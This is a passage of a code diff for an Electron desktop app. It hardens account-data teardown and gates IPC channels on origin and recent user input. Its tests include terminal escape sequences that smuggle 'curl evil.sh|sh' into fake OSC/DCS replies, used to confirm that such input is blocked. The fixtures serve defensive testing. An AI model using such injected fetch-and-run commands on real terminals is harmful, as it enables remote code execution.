outcomes = await Promise.allSettled( + stores.map(({ clear }) => Promise.resolve().then(clear)) + ) + const failures = outcomes.flatMap((outcome, index) => { + if (outcome.status === 'fulfilled') return [] + logger.error('Could not clear local account state', { + store: stores[index].label, + error: getErrorMessage(outcome.reason), }) + return [outcome.reason] }) + if (failures.length > 0) { + throw new AggregateError(failures, 'Local account state survived teardown.') + } }, clearBrowserProfile: async () => { + // Browser profile teardown emits empty tab snapshots while closing its + // live views. Clear task descriptors afterward so those snapshots + // cannot recreate account-scoped state after sign-out. + const failures: unknown[] = [] + await clearAgentBrowserProfile().catch((error) => failures.push(error)) try { - await clearAgentBrowserProfile() - } finally { - // Browser profile teardown emits empty tab snapshots while closing - // its live views. Clear once more afterward so those cannot recreate - // account-scoped task descriptors after sign-out. clearDesktopChatSessions() + } catch (error) { + failures.push(error) + } + if (failures.length > 0) { + throw new AggregateError(failures, 'Browser account state survived teardown.') } }, }) @@ -335,10 +379,11 @@ function main(): void { config, events, appOrigin, - partition: partitionForOrigin(origin), + partition: appPartition(origin), preloadPath, isPackaged: app.isPackaged, restorePosition, + isMandatoryRelaunchPending: () => mandatoryRelaunchPending, onFullScreenChange: (isFullScreen) => { if (!win.isDestroyed()) { win.webContents.send('desktop:window-state:changed', { isFullScreen }) @@ -373,6 +418,7 @@ function main(): void { } }, allowHttpLocalhost: allowHttpLocalhost(), + isMandatoryRelaunchPending: () => mandatoryRelaunchPending, }) attachContextMenu(win.webContents, { isDev: !app.isPackaged, @@ -426,7 +472,7 @@ function main(): void { } if (!tray) { tray = installTray({ - partition: () => partitionForOrigin(appOrigin()), + partition: appPartition, appOrigin, lastRoute: () => config.get('lastRoute'), openMainWindow: (route) => void openMainWindowAt(route), @@ -482,14 +528,19 @@ function main(): void { preloadPath, isPackaged: app.isPackaged, getParentWindow: getMainWindow, + prepareDeploymentScopedStateChange: () => beginAccountDataTeardown('deployment', appOrigin()), clearDeploymentScopedState: async () => { + await waitForAccountDataMutations() // allSettled, not sequential awaits: these are independent stores, and a // rejection from the first must not skip the second — leaving the store // that would have cleared fine still holding the outgoing deployment's // access. Each failure is named so the picker can say what survived. const stores = [ { label: 'local file access', clear: () => localFilesystem.forgetAll() }, - { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() }, + { + label: 'built-in browser sessions', + clear: () => clearAgentBrowserProfile({ settingsPersistence: 'server-repair' }), + }, ] const outcomes = await Promise.allSettled(stores.map((store) => store.clear())) return outcomes.flatMap((outcome, index) => { @@ -501,7 +552,11 @@ function main(): void { return [stores[index].label] }) }, - relaunch: relaunchApp, + completeDeploymentScopedStateChange: completeDeploymentScopedTeardown, + relaunch: () => { + mandatoryRelaunchPending = true + relaunchApp() + }, }) /** @@ -513,11 +568,11 @@ function main(): void { */ function signOutFromMenu(): void { ensureAppSession() - sessionLifecycle?.signOut() + void sessionLifecycle?.signOut() } app.on('second-instance', () => { - void app.whenReady().then(() => createAndLoadAppWindow()) + void (startupReady ?? app.whenReady()).then(() => createAndLoadAppWindow()) }) app.on('window-all-closed', () => { @@ -526,7 +581,39 @@ function main(): void { } }) - app.on('before-quit', () => { + app.on('before-quit', (event) => { + if (!resumingQuitAfterTeardown && sessionLifecycle?.isTeardownActive()) { + event.preventDefault() + void sessionLifecycle.awaitTeardown().then((clean) => { + if (!clean && !mandatoryRelaunchPending) { + logger.error('Quit cancelled because account teardown did not finish safely') + return + } + if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) { + logger.error('Quit cancelled because account-data recovery could not be persisted') + return + } + if (!clean) { + logger.warn( + 'Committed server relaunch is continuing with account-data recovery armed for startup' + ) + } + resumingQuitAfterTeardown = true + app.quit() + }) + return + } + /** + * A mandatory relaunch is requested only after the server-switch transaction + * has cleared deployment-scoped capabilities and committed the replacement + * origin. The ordinary quit guard must not strand that committed process on + * its old partition; any retained marker is startup retry metadata. + */ + if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) { + event.preventDefault() + logger.error('Quit cancelled because account-data recovery could not be persisted') + return + } // Stops the tray's background chat refresh alongside the OS handles. tray?.destroy() tray = null @@ -549,12 +636,13 @@ function main(): void { }) app.on('activate', () => { - if (app.isReady() && !getMainWindow()) { - void ensureMainWindow() - } + if (!app.isReady()) return + void (startupReady ?? app.whenReady()).then(() => { + if (!getMainWindow()) return ensureMainWindow() + }) }) - void app.whenReady().then(async () => { + startupReady = app.whenReady().then(async () => { // Packaged apps keep their native bundle icon so the Dock appearance does // not change when the process starts. Unpackaged runs have no branded // bundle, so they still need the channel-specific development icon. @@ -566,7 +654,57 @@ function main(): void { version: app.getVersion(), electron: process.versions.electron ?? '', }) - if (!desktopChatSessions.initialize()) { + + if (isAccountDataTeardownRequired()) { + const kind = getAccountDataTeardownKind() + const origin = getAccountDataTeardownOrigin() + if (!origin) { + logger.error('Account-data recovery marker does not contain a trusted origin') + } + const stores = [ + { label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() }, + { label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() }, + { + label: 'browser site history', + clear: () => { + config.set('browserKnownSites', undefined) + if (!config.flush()) throw new Error('Browser site history could not be erased') + }, + }, + ...(kind === 'account' && origin + ? [ + { label: 'sign-in handoff state', clear: () => handoff.clear() }, + { label: 'terminal sessions', clear: () => terminal.dispose() }, + { label: 'task resource state', clear: clearDesktopChatSessions }, + { + label: 'app session storage', + clear: async () => { + const persistedSession = session.fromPartition(partitionForOrigin(origin)) + await persistedSession.clearStorageData() + await persistedSession.clearCache() + }, + }, + ] + : []), + ] + const failures = origin + ? await retryAccountDataTeardown(stores).catch((error) => { + logger.error('Could not finish interrupted account-data teardown', { + error: getErrorMessage(error), + }) + return ['account-data recovery marker'] + }) + : ['account-data recovery marker'] + if (failures.length > 0) { + logger.error('Account-data recovery remains incomplete', { stores: failures }) + } + } + + if (!accountDataAvailable()) { + logger.warn( + 'Account-bearing browser, terminal, and local filesystem APIs are unavailable until local recovery succeeds' + ) + } else if (!desktopChatSessions.initialize()) { logger.warn( 'Encrypted task resource storage is unavailable; browser and terminal state will remain memory-only' ) @@ -595,19 +733,22 @@ function main(): void { getMainWindow, config, { - load: (scopeId) => desktopChatSessions.getBrowser(appOrigin(), scopeId), - save: (scopeId, snapshot) => desktopChatSessions.setBrowser(appOrigin(), scopeId, snapshot), + load: (scopeId) => desktopChatSessions.getBrowser(processOrigin, scopeId), + save: (scopeId, snapshot) => + desktopChatSessions.setBrowser(processOrigin, scopeId, snapshot), migrateScope: (fromScopeId, toScopeId) => - desktopChatSessions.migrateBrowser(appOrigin(), fromScopeId, toScopeId), + desktopChatSessions.migrateBrowser(processOrigin, fromScopeId, toScopeId), disposeScope: (scopeId) => { - desktopChatSessions.deleteScope(appOrigin(), scopeId) + desktopChatSessions.deleteScope(processOrigin, scopeId) }, }, { getDirectory: () => desktopSettings.getPreferences().browserDownloadDirectory, } ) - await localFilesystem.initialize() + if (accountDataAvailable()) { + await localFilesystem.initialize() + } terminal.setSink({ data: (scopeId, terminalId, data) => scopeEvents.sendTerminal(scopeId, 'terminal:data', terminalId, data, scopeId), @@ -619,6 +760,8 @@ function main(): void { registerIpcHandlers({ appOrigin, allowHttpLocalhost, + accountDataAvailable, + localPagePaths: [resolve(OFFLINE_PAGE), resolve(SERVER_PAGE)], scopeEvents, retryLoad: (sender) => { const win = windowForContents(sender) @@ -700,6 +843,7 @@ function main(): void { installApplicationMenu({ config, getMainWindow, + isMainWindow: (win) => windows.has(win) && !win.isDestroyed(), allowHttpLocalhost, openSettings, openServerSettings: () => serverWindow.open(), @@ -713,6 +857,7 @@ function main(): void { signOut: signOutFromMenu, checkForUpdates: () => checkForUpdatesInteractive({ getWindow: getMainWindow, events, handle: updater }), + openDiagnostics: () => shell.showItemInFolder(events.filePath), }) installDocumentationHelpSearch() setTrayEnabled(config.get('trayEnabled') ?? true) @@ -721,6 +866,16 @@ function main(): void { events, appOrigin, autoDownload: () => config.get('autoDownloadUpdates') ?? true, + beforeInstall: async () => { + if (!prepareAccountDataTeardownForQuit()) { + throw new Error( + 'Account-data recovery could not be persisted before update installation.' + ) + } + if (sessionLifecycle && !(await sessionLifecycle.awaitTeardown())) { + throw new Error('Account teardown did not finish safely before update installation.') + } + }, onStateChange: (state) => { broadcast('desktop:updates:state', state) }, diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 72081c3e956..b8bfc8cc8c2 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -235,6 +235,10 @@ const inactiveAppEvent = { sender: rejectedSender(), } const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender } +const arbitraryFileEvent = { + senderFrame: { url: 'file:///Users/example/private.html' }, + sender: fileSender, +} /** The chooser anchors a native menu, so it needs a sender with a window. */ const FAKE_WINDOW = { id: 'main-window' } const activeChooserEvent = { @@ -274,6 +278,8 @@ describe('registerIpcHandlers', () => { deps = { appOrigin: () => APP, allowHttpLocalhost: () => false, + accountDataAvailable: () => true, + localPagePaths: ['/app/static/offline.html', '/app/static/server.html'], retryLoad: vi.fn(), beginOAuthConnect: vi.fn(async () => true), localFilesystem: new LocalFilesystemService({ @@ -330,20 +336,28 @@ describe('registerIpcHandlers', () => { vi.useRealTimers() }) - it('validates open-external URLs regardless of sender', async () => { + it('opens validated external URLs only after recent user input', async () => { const { invoke } = collectHandlers() - expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true) - expect(await invoke.get('desktop:open-external')?.(appEvent, 'javascript:alert(1)')).toBe(false) - expect(await invoke.get('desktop:open-external')?.(appEvent, 42)).toBe(false) + const handler = invoke.get('desktop:open-external') + const activeUntrustedEvent = { + senderFrame: evilEvent.senderFrame, + sender: activeSender.sender, + } + + expect(await handler?.(evilEvent, 'https://docs.sim.ai')).toBe(false) + expect(await handler?.(activeUntrustedEvent, 'https://docs.sim.ai')).toBe(true) + expect(await handler?.(activeAppEvent, 'javascript:alert(1)')).toBe(false) + expect(await handler?.(activeAppEvent, 42)).toBe(false) expect(shell.openExternal).toHaveBeenCalledTimes(1) }) - it('opens microphone privacy settings only for the trusted app origin', async () => { + it('opens microphone privacy settings only for an activated trusted app origin', async () => { const { invoke } = collectHandlers() const handler = invoke.get('desktop:open-microphone-settings') expect(await handler?.(evilEvent)).toBe(false) - expect(await handler?.(appEvent)).toBe(process.platform === 'darwin') + expect(await handler?.(appEvent)).toBe(false) + expect(await handler?.(activeAppEvent)).toBe(process.platform === 'darwin') expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0) }) @@ -374,20 +388,21 @@ describe('registerIpcHandlers', () => { expect(await handler?.(appEvent, 'sim ai')).toEqual([]) }) - it('restricts the OAuth connect handoff to the app origin', async () => { + it('restricts the OAuth connect handoff to an activated app origin', async () => { const { invoke } = collectHandlers() const handler = invoke.get('desktop:oauth-connect') expect(await handler?.(evilEvent, 'slack')).toBe(false) expect(await handler?.(fileEvent, 'slack')).toBe(false) + expect(await handler?.(appEvent, 'slack')).toBe(false) expect(deps.beginOAuthConnect).not.toHaveBeenCalled() - expect(await handler?.(appEvent, 42)).toBe(false) - expect(await handler?.(appEvent, 'slack')).toBe(true) + expect(await handler?.(activeAppEvent, 42)).toBe(false) + expect(await handler?.(activeAppEvent, 'slack')).toBe(true) expect(deps.beginOAuthConnect).toHaveBeenCalledWith('slack', {}) // Connects carry workspace/credential or exact-draft scope; malformed // scopes (wrong types, unsafe ids) are rejected before the handoff. expect( - await handler?.(appEvent, 'slack', { + await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws1', credentialId: 'cred_1', draftId: 'draft_1', @@ -400,13 +415,13 @@ describe('registerIpcHandlers', () => { draftId: 'draft_1', chatAttemptId: 'attempt_1', }) - expect(await handler?.(appEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false) - expect(await handler?.(appEvent, 'slack', { draftId: '../wrong' })).toBe(false) - expect(await handler?.(appEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false) - expect(await handler?.(appEvent, 'slack', 'not-an-object')).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { draftId: '../wrong' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false) + expect(await handler?.(activeAppEvent, 'slack', 'not-an-object')).toBe(false) }) - it('restricts the updates surface to the app origin', async () => { + it('restricts updates to an activated app origin', async () => { const { invoke, on } = collectHandlers() const getState = invoke.get('desktop:updates:get-state') expect(await getState?.(evilEvent)).toEqual({ status: 'idle' }) @@ -419,6 +434,11 @@ describe('registerIpcHandlers', () => { on.get('desktop:updates:check')?.(appEvent) on.get('desktop:updates:install')?.(appEvent) + expect(deps.updates.check).not.toHaveBeenCalled() + expect(deps.updates.install).not.toHaveBeenCalled() + + on.get('desktop:updates:check')?.(activeAppEvent) + on.get('desktop:updates:install')?.(activeAppEvent) expect(deps.updates.check).toHaveBeenCalledTimes(1) expect(deps.updates.install).toHaveBeenCalledTimes(1) }) @@ -433,6 +453,26 @@ describe('registerIpcHandlers', () => { ).toEqual({ ok: true, data: { mounts: [] } }) }) + it('gates account-bearing browser, terminal, and filesystem APIs during recovery', async () => { + deps.accountDataAvailable = () => false + const { invoke } = collectHandlers() + const localFilesystemHandle = vi.spyOn(deps.localFilesystem, 'handle') + const terminalStart = vi.spyOn(deps.terminal, 'start') + + await expect( + invoke.get('desktop:local-filesystem')?.(appEvent, { operation: 'list_mounts' }) + ).resolves.toMatchObject({ ok: false, code: 'ACCESS_DENIED' }) + await expect(invoke.get('browser-credentials:list')?.(appEvent)).resolves.toEqual([]) + await expect(invoke.get('terminal:start')?.(appEvent, {}, 'chat-a')).resolves.toMatchObject({ + ok: false, + code: 'ACCESS_DENIED', + }) + + expect(localFilesystemHandle).not.toHaveBeenCalled() + expect(listCredentials).not.toHaveBeenCalled() + expect(terminalStart).not.toHaveBeenCalled() + }) + it('requires an active user gesture for granting or revoking folder access', async () => { const { invoke } = collectHandlers() const handler = invoke.get('desktop:local-filesystem') @@ -524,6 +564,11 @@ describe('registerIpcHandlers', () => { await set?.(appEvent, 'notificationsEnabled', false) expect(deps.settings.setPreference).toHaveBeenCalledWith('notificationsEnabled', false) + await set?.(appEvent, 'launchAtLogin', true) + expect(deps.settings.setPreference).not.toHaveBeenCalledWith('launchAtLogin', true) + await set?.(activeAppEvent, 'launchAtLogin', true) + expect(deps.settings.setPreference).toHaveBeenCalledWith('launchAtLogin', true) + await setAppearance?.(evilEvent, 'browserTheme', 'dark') await setAppearance?.(appEvent, 'not-a-setting', 'dark') await setAppearance?.(appEvent, 'browserTheme', 'sepia') @@ -624,6 +669,8 @@ describe('registerIpcHandlers', () => { on.get('offline:retry')?.(appEvent) expect(deps.retryLoad).not.toHaveBeenCalled() + on.get('offline:retry')?.(arbitraryFileEvent) + expect(deps.retryLoad).not.toHaveBeenCalled() on.get('offline:retry')?.(fileEvent) expect(deps.retryLoad).toHaveBeenCalledWith(fileSender) }) @@ -684,7 +731,7 @@ describe('registerIpcHandlers', () => { expect(await handler?.(fileEvent, 'tool-1', 'browser_navigate', {})).toMatchObject({ ok: false, }) - expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {})).toMatchObject({ + expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {}, 'chat-1')).toMatchObject({ ok: false, error: expect.stringContaining('authorized pending Copilot tool call'), }) @@ -698,9 +745,15 @@ describe('registerIpcHandlers', () => { } // The server-persisted name must match the renderer's requested name. expect( - await handler?.(authorizedEvent, 'tool-1', 'browser_navigate', { - url: 'https://evil.example', - }) + await handler?.( + authorizedEvent, + 'tool-1', + 'browser_navigate', + { + url: 'https://evil.example', + }, + 'chat-1' + ) ).toMatchObject({ ok: false, error: expect.stringContaining('authorized pending Copilot tool call'), @@ -708,9 +761,15 @@ describe('registerIpcHandlers', () => { // An authorized call reaches the driver with the server-persisted args // (which reports its own tool-level failure because no session exists). expect( - await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', { - ignored: 'renderer cannot choose params', - }) + await handler?.( + authorizedEvent, + 'tool-1', + 'browser_snapshot', + { + ignored: 'renderer cannot choose params', + }, + 'chat-1' + ) ).toMatchObject({ ok: false, error: expect.stringContaining('No page is open yet'), @@ -740,6 +799,28 @@ describe('registerIpcHandlers', () => { cancelActive.mockRestore() }) + it('rejects a browser tool when the renderer claims a different scope than authorization', async () => { + const { invoke } = collectHandlers() + const handler = invoke.get('browser-agent:execute-tool') + const authorizedEvent = { + senderFrame: { url: `${APP}/workspace/ws1` }, + sender: { + session: { + fetch: vi.fn(async () => + Response.json({ chatId: 'chat-1', toolName: 'browser_snapshot', args: {} }) + ), + }, + }, + } + + expect( + await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {}, 'forged-chat') + ).toMatchObject({ + ok: false, + error: expect.stringContaining('authorized pending Copilot tool call'), + }) + }) + it('rejects a browser tool authorized after its scope cancellation boundary', async () => { const { invoke } = collectHandlers() const executeHandler = invoke.get('browser-agent:execute-tool') @@ -807,6 +888,43 @@ describe('registerIpcHandlers', () => { expect(executeTool).toHaveBeenCalledWith('chat-a', 'tool-1', 'list', {}) }) + it('requires trusted input to grant browser media while allowing denial without it', async () => { + const { invoke, on } = collectHandlers() + const panelAction = vi.spyOn(browserDriver, 'handlePanelAction').mockResolvedValue() + const handler = on.get('browser-agent:panel-action') + + await invoke.get('browser-agent:activate-scope')?.(inactiveAppEvent, 'chat-media') + handler?.( + inactiveAppEvent, + { action: 'respond-media-permission', requestId: 'request-1', allowed: true }, + 'chat-media' + ) + handler?.( + inactiveAppEvent, + { action: 'respond-media-permission', requestId: 'request-1', allowed: false }, + 'chat-media' + ) + + expect(panelAction).toHaveBeenCalledOnce() + expect(panelAction).toHaveBeenCalledWith('chat-media', { + action: 'respond-media-permission', + requestId: 'request-1', + allowed: false, + }) + + await invoke.get('browser-agent:activate-scope')?.(activeAppEvent, 'chat-media') + handler?.( + activeAppEvent, + { action: 'respond-media-permission', requestId: 'request-2', allowed: true }, + 'chat-media' + ) + expect(panelAction).toHaveBeenLastCalledWith('chat-media', { + action: 'respond-media-permission', + requestId: 'request-2', + allowed: true, + }) + }) + it('ignores browser-agent panel actions from outside the app origin', () => { const { on } = collectHandlers() const handler = on.get('browser-agent:panel-action') @@ -1528,14 +1646,11 @@ describe('registerIpcHandlers', () => { expect(forgetCredential).toHaveBeenCalledWith('c1') }) - it('always forwards the replies the PTY solicits', () => { + it('forwards fixed PTY device and focus reports without a gesture', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - // The PTY asks for these and the terminal must answer with no user input: - // DSR cursor position, device attributes, a focus report (mode 1004, set by - // tmux and vim), an SGR mouse report. Gating them would hang whatever asked. - const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M'] + const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[O'] for (const reply of replies) { on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a') expect(write).toHaveBeenCalledWith('chat-a', 't1', reply) @@ -1548,11 +1663,11 @@ describe('registerIpcHandlers', () => { const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-b') - on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[I') + on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-a') + expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[24;80R') - on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-b') - expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[I') + on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-b') + expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[24;80R') }) it('clears retained terminal output only for an app-owned scope', async () => { @@ -1643,19 +1758,23 @@ describe('registerIpcHandlers', () => { expect(deps.scopeEvents.activateTerminal).toHaveBeenLastCalledWith(appSender, 'chat-retry') }) - it('only disposes provisional terminal scopes from the app origin', async () => { + it('only disposes provisional terminal scopes owned by the calling renderer', async () => { const { invoke } = collectHandlers() const disposeScope = vi.spyOn(deps.terminal, 'disposeScope') const dispose = invoke.get('terminal:dispose-scope') expect(await dispose?.(evilEvent, 'pending:new')).toBe(false) expect(await dispose?.(appEvent, 'chat-durable')).toBe(false) + expect(await dispose?.(appEvent, 'pending:new')).toBe(false) + + await invoke.get('terminal:activate-scope')?.(appEvent, 'pending:new') expect(await dispose?.(appEvent, 'pending:new')).toBe(true) + expect(await dispose?.(appEvent, 'pending:new')).toBe(false) expect(disposeScope).toHaveBeenCalledOnce() expect(disposeScope).toHaveBeenCalledWith('pending:new') }) - it('suspends only durable terminal scopes from the app origin', async () => { + it('suspends only the durable terminal scope active in the calling renderer', async () => { const suspendScope = vi.spyOn(deps.terminal, 'suspendScope').mockReturnValue(true) const { invoke } = collectHandlers() const suspend = invoke.get('terminal:suspend-scope') @@ -1663,6 +1782,9 @@ describe('registerIpcHandlers', () => { expect(await suspend?.(evilEvent, 'chat-durable')).toBe(false) expect(await suspend?.(appEvent, 'not valid!')).toBe(false) expect(await suspend?.(appEvent, 'pending:new')).toBe(false) + expect(await suspend?.(appEvent, 'chat-durable')).toBe(false) + + await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-durable') expect(await suspend?.(appEvent, 'chat-durable')).toBe(true) expect(suspendScope).toHaveBeenCalledOnce() expect(suspendScope).toHaveBeenCalledWith('chat-durable') @@ -1673,19 +1795,48 @@ describe('registerIpcHandlers', () => { ) }) + it('closes terminal tabs only after a gesture from their active visible renderer', async () => { + const state = { tabs: [], activeTerminalId: null } + const close = vi.spyOn(deps.terminal, 'closeUserTerminal').mockReturnValue(state) + const { invoke } = collectHandlers() + const closeTerminal = invoke.get('terminal:close') + + await invoke.get('terminal:activate-scope')?.(inactiveAppEvent, 'chat-a') + await expect(closeTerminal?.(inactiveAppEvent, 't1', 'chat-a')).resolves.toEqual(state) + expect(close).not.toHaveBeenCalled() + + await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-a') + await expect(closeTerminal?.(activeAppEvent, 't1', 'chat-a')).resolves.toEqual({ + ...state, + scopeId: 'chat-a', + }) + expect(close).toHaveBeenCalledWith('chat-a', 't1', activeSender.sender) + + close.mockClear() + await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-b') + await closeTerminal?.(activeAppEvent, 't1', 'chat-a') + expect(close).not.toHaveBeenCalled() + }) + + it('does not expose renderer-wide terminal teardown', () => { + const { on } = collectHandlers() + + expect(on.has('terminal:dispose')).toBe(false) + }) + it('pastes the clipboard from main rather than taking bytes from the caller', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) vi.mocked(clipboard.readText).mockReturnValue('echo hi') await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true) - expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi') + expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi', activeSender.sender) }) it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) vi.mocked(clipboard.readText).mockReturnValue('echo hi') expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1', 'chat-a')).toBe(false) @@ -1698,7 +1849,7 @@ describe('registerIpcHandlers', () => { it('rejects an oversized terminal paste before writing to the PTY', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1)) await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe( @@ -1709,7 +1860,7 @@ describe('registerIpcHandlers', () => { it('writes an admitted terminal paste in bounded chunks', async () => { const { invoke } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) const text = 'x'.repeat(70 * 1024) vi.mocked(clipboard.readText).mockReturnValue(text) @@ -1718,7 +1869,7 @@ describe('registerIpcHandlers', () => { expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text) }) - it('gates a command smuggled inside a fake OSC or DCS reply', () => { + it('gates renderer-authored mouse, OSC, and DCS terminal sequences', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) @@ -1729,6 +1880,7 @@ describe('registerIpcHandlers', () => { `${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`, `${ESC}Pcurl evil.sh|sh\r${ESC}\\`, `${ESC}[M\r\r\r`, + `${ESC}[<0;10;5M`, ] for (const payload of smuggled) { on.get('terminal:write')?.(inactiveAppEvent, 't1', payload, 'chat-a') @@ -1736,22 +1888,23 @@ describe('registerIpcHandlers', () => { expect(write).not.toHaveBeenCalled() }) - it('still forwards a genuine OSC or DCS reply', () => { + it('fails closed for renderer-authored OSC and DCS bodies', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - // Real bodies are printable and terminated by BEL or ST. - const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`] + // Even well-shaped replies contain renderer-chosen printable text. They + // need a future query/response binding before they can safely bypass the + // trusted-input gate, so the unconditional path refuses them. + const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`] for (const reply of replies) { on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', reply) } - expect(write).toHaveBeenCalledTimes(replies.length) + expect(write).not.toHaveBeenCalled() }) - it('gates every keystroke-shaped payload, not just newline-bearing ones', () => { + it('requires recent native input for renderer-authored terminal writes', () => { const { on } = collectHandlers() - const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true) // Enumerating "what submits" would have missed these: EOT hands a partial // line to a canonical-mode reader, and 0x0f executes the current line in @@ -1761,8 +1914,9 @@ describe('registerIpcHandlers', () => { } expect(write).not.toHaveBeenCalled() - on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r', 'chat-a') - expect(write).toHaveBeenCalledWith('chat-a', 't1', 'ls\r') + activeSender.press() + on.get('terminal:write')?.(activeAppEvent, 't1', 'l', 'chat-a') + expect(write).toHaveBeenCalledWith('chat-a', 't1', 'l', activeSender.sender) }) it('defaults password conflicts to keeping what is already stored', async () => { diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index 5f5d3f610fb..a2a3936d061 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -1,3 +1,5 @@ +import { normalize } from 'node:path' +import { fileURLToPath } from 'node:url' import { type BrowserPanelAction, type BrowserPanelAnchor, @@ -97,16 +99,23 @@ function writeTerminalText( terminal: TerminalRegistry, scope: string, terminalId: string, - text: string -): void { + text: string, + owner?: WebContents +): boolean { let start = 0 while (start < text.length) { let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length) const finalCode = text.charCodeAt(end - 1) if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1 - terminal.write(scope, terminalId, text.slice(start, end)) + const chunk = text.slice(start, end) + if (owner) { + if (!terminal.writeUserInput(scope, terminalId, chunk, owner)) return false + } else { + terminal.write(scope, terminalId, chunk) + } start = end } + return true } const MICROPHONE_SETTINGS_URLS: Partial> = { @@ -314,6 +323,10 @@ export function parseDesktopNotificationPayload(raw: unknown): DesktopNotificati export interface IpcDeps { appOrigin: () => string allowHttpLocalhost: () => boolean + /** False while local account-data persistence is unavailable or teardown must be retried. */ + accountDataAvailable: () => boolean + /** Absolute paths of the bundled recovery pages allowed to control the shell. */ + localPagePaths: readonly string[] retryLoad: (sender: WebContents) => void localFilesystem: LocalFilesystemService terminal: TerminalRegistry @@ -381,6 +394,10 @@ interface ChannelSpecBase { gate: ChannelGate passSender?: boolean requires?: ChannelFeature + /** Account-bearing storage must be readable and writable before this channel can run. */ + requiresAccountData?: boolean + /** Requires a recent trusted input event for every call, or only selected argument shapes. */ + needsUserActivation?: boolean | ((args: readonly unknown[]) => boolean) /** * Why this channel's `gate` or `requires` deviates from the rest of its * name family. Required by `check:desktop-ipc` for any channel that does, @@ -396,26 +413,24 @@ interface ChannelSpecBase { type ChannelSpec = | (ChannelSpecBase & { kind: 'invoke' - /** Requires an in-progress user gesture in the calling page. */ - needsUserActivation?: boolean /** Returned to the caller when a gate rejects the call. */ denied: unknown handler: (...args: unknown[]) => unknown }) | (ChannelSpecBase & { kind: 'send' - /** - * Requires recent real OS input before a payload is forwarded. Payload- - * scoped rather than channel-scoped because the same channel also carries - * terminal replies the PTY solicits, which arrive with no user input. - */ - payloadNeedsDeliberateInput?: boolean handler: (...args: unknown[]) => void }) -function isLocalPageSender(event: IpcMainEvent | 